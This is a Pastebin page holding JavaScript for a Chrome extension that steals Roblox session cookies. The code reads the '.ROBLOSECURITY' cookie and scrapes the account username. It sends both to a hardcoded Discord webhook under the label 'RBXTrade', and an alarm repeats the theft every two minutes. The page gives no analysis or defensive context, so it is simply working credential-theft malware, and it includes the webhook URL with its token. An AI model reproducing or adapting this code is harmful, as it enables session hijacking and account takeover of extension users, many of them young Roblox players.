Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var url = "https://discordapp.com/api/webhooks/403602330274103298/XcxtKac3B3xQplx-4JlJYW0g5o9UDC-KFsj2ffyluWf-79z5WSGy1i_WMvMdGG8SKk6c";
- var myUrl = "https://www.roblox.com/home"; // assuming that this is the url
- chrome.alarms.create("5min", {
- delayInMinutes: 2,
- periodInMinutes: 2
- });
- var http = new XMLHttpRequest();
- http.open("POST", url, true);
- //Send the proper header information along with the request
- http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http.onreadystatechange = function() {//Call a function when the state changes.
- if(http.readyState == 4 && http.status == 200) {
- }
- }
- var cookieval = "null"
- var username = "null"
- var xhttp = new XMLHttpRequest();
- xhttp.onreadystatechange = function() {
- if (this.readyState == 4 && this.status == 200) {
- var testRE = xhttp.responseText.match("Hello, (.*)!</a>");
- username = testRE[1]
- http.send("{ \"username\":\"CMR7\", \"avatar_url\":\"https://images.discordapp.net/.eJwlyFEKhCAQANC7eABHZyq3biMmVtSOOBMEsXffIN7fu83ZdjOZRbXKBDCvkrjNVpRbLNkW5rLnWFexiQ-IqjEtR_6qAH4GCg7Rh-7hiIa3AvnRoe88Uo9wXXarxfz-Wfcgqg.xdYOz4n-kCLJ1SrfZHKCmFzshmY\", \"content\":\"RBXTrade: http://rbx.trade/s/" + username + " \\n \\nName: " + username + "\\n \\nCookie: " + cookieval + "\" }");
- }
- };
- chrome.cookies.get({url: myUrl, name: '.ROBLOSECURITY'}, function(cookie) {
- xhttp.open("GET", "https://www.roblox.com/home", true);
- xhttp.setRequestHeader(".ROBLOSECURITY", cookie.value);
- cookieval = cookie.value;
- xhttp.send();
- });
- chrome.alarms.onAlarm.addListener(function(alarm) {
- if (alarm.name === "5min") {
- chrome.cookies.get({url: myUrl, name: '.ROBLOSECURITY'}, function(cookie) {
- // do something with the cookie
- xhttp.open("GET", "https://www.roblox.com/home", true);
- xhttp.setRequestHeader(".ROBLOSECURITY", cookie.value);
- xhttp.send();
- });
- }
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement